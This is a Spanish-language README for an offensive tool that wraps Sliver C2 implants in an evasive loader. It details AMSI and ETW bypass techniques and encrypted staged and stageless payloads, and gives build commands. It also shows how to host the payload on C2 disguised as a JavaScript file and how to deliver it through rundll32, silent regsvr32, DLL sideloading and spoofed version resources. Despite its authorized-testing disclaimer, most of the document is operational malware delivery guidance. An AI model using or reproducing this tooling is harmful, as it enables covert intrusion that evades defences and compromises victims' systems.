
Cargador PICO Crystal Palace para Sliver C2 bypass de AMSI de doble capa, silenciamiento de ETW, payloads cifrados con AES-256-CBC, 6 variantes de entrega
Un fork de CrystalSliver, que extiende el cargador PICO de Crystal Palace con bypass de AMSI de doble capa, silenciamiento de ETW y seis variantes de entrega para Sliver C2.
SliverMirage envuelve un DLL de implante de Sliver mediante la virtualización PICO de Crystal Palace, y lo entrega a través de un cargador que neutraliza AMSI y ETW sin parchear amsi.dll ni ntdll.dll.
Pila de evasión:
| Capa | Técnica | Detalle |
|---|
| AMSI L1 | Corrupción de strings de CLR | LdrRegisterDllNotification intercepta la carga de clr.dll, corrompe AmsiScanBuffer en .rdata antes de que CLR llame a GetProcAddress |
| AMSI L2 | VEH + HWBP | El manejador de excepciones vectorizadas (VEH) sobre AmsiScanBuffer devuelve E_INVALIDARG |
| ETW | HWBP | DR1 en NtTraceControl, devuelve STATUS_SUCCESS |
| Payload | AES-256-CBC + XOR | Descifrado con BCrypt, VirtualAlloc(RW) -> VirtualProtect(RX), sin RWX |
| Virtualización | Crystal Palace PICO | El DLL de Sliver se ejecuta dentro de un proceso PICO, invisible para el AV de modo usuario |
| Formato | Archivo | Distribución | ¿C2 en tiempo de ejecución? |
|---|---|---|---|
exe | EXE por etapas | EXE + payload.dat en el sitio web de C2 | Sí (HTTPS) |
exe-stageless | EXE sin etapas | EXE único | No |
dll | DLL sin etapas | DLL único | No |
dll-staged | DLL por etapas | DLL + payload.dat en el sitio web de C2 | Sí (HTTPS) |
shellcode | Shellcode por etapas | .bin + payload.dat | Sí (HTTPS) |
shellcode-stageless | Shellcode sin etapas | .bin único | No |
Las variantes por etapas descargan el PICO cifrado en tiempo de ejecución desde un sitio web HTTPS de Sliver. El EXE/DLL es pequeño (~20 KB) y no lleva payload en disco.
Las variantes sin etapas incrustan el PICO cifrado en tiempo de compilación (doble capa XOR + AES). Ocupan más en disco, pero cero actividad de red antes del callback del beacon.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 con pefile (pip install pefile)opensslbuild.sh)El script de compilación aprovisiona automáticamente las dependencias que falten (incluidos Crystal Palace y Java 17) y gestiona todo el proceso: DLL -> Crystal Palace PICO -> cifrado -> compilación.
# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
Opciones:
--dll <path> — DLL del implante de Sliver (obligatorio)--host <ip> — IP del servidor C2 (obligatoria para formatos por etapas)--port <port> — Puerto de C2 (por defecto: 443)--path <path> — Ruta URL para la descarga del payload (por defecto: /assets/js/vendor.js)--format <fmt> — Formato de salida (por defecto: exe)--export <name> — Nombre personalizado de exportación del DLLSi ya tienes un blob PICO de Crystal Palace:
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# All targets
make clean
Sube build/payload.dat a un sitio web HTTPS de Sliver:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
Entrega build/csvchelper.exe (o .dll) al objetivo.
Entrega de un solo archivo. No se necesita configurar un sitio web C2.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
O usa el sideloading de DLL (cámbiale el nombre para que coincida con un DLL legítimo que cargue la aplicación objetivo).
Exportaciones: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt — todas son API legítimas de WindowsVirtualProtect sobre DLL del sistemaWinMain, -mwindows — sin destello de consolaasInvoker integrado suprime las heurísticas de UACresource.rc / resource_dll.rc con tu identidad de cobertura antes de compilar.Este proyecto está destinado únicamente a pruebas de seguridad autorizadas, investigación y fines educativos. Úsalo exclusivamente en entornos donde tengas permiso explícito por escrito para realizar pruebas de penetración. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no asumen ninguna responsabilidad por el mal uso de este software.
MIT